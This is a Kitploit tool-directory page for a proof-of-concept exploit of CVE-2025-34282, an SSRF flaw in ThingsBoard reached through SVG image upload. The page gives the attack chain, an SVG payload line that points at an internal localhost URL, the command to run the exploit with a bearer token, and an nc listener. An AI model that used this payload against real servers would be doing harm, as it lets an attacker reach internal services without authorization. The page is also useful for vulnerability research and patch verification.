Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
thingsboard-ssrf-cve-2025-34282 — PoC exploit for CVE-2025-34282 - ThingsBoard SSRF via SVG Image Upload | Kitploit
Tools/GitHubGitHub/mathitam/thingsboard-ssrf-cve-2025-34282
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHubmathitam/thingsboard-ssrf-cve-2025-34282

thingsboard-ssrf-cve-2025-34282

PoC exploit for CVE-2025-34282 - ThingsBoard SSRF via SVG Image Upload

View Repository
35 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-34282 — ThingsBoard SSRF via SVG Image Upload

Overview

Server-Side Request Forgery (SSRF) vulnerability in ThingsBoard IoT Platform versions before 4.2.1.

An attacker with Tenant Admin access can upload a crafted SVG file containing an internal URL reference via the Image Upload Gallery. When ThingsBoard processes the SVG server-side, it fetches the referenced URL — allowing access to internal services not exposed to the internet.

FieldDetails
CVECVE-2025-34282
Affected Version< 4.2.1
Fixed Version4.2.1
CVSS Score6.9 Medium
CWECWE-918 (Server-Side Request Forgery)
Vendorhttps://thingsboard.io

Attack Chain

  1. Tenant Admin uploads a malicious SVG to POST /api/image
    • Server processes the SVG and issues an outbound request to the embedded URL
  2. A custom widget is created embedding the SVG's publicLink via an <object> tag
    • Widget render also triggers the server-side fetch

SVG Payload

The ssrf_localhost_5555.svg payload embeds an internal URL reference:

root@kitploit:~
<image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />

When uploaded, ThingsBoard's server fetches http://127.0.0.1:5555, confirming SSRF.

Usage

Requirements:

root@kitploit:~
pip install requests

Run:

root@kitploit:~
python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py <svg_file> <bearer_token>

Example:

root@kitploit:~
python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py ssrf_localhost_5555.svg eyJhbGci...

Start a listener to catch the SSRF callback before running the exploit:

root@kitploit:~
nc -l 5555

References

  • https://www.cve.org/CVERecord?id=CVE-2025-34282

Author

Tamil Mathi T.

Download Tool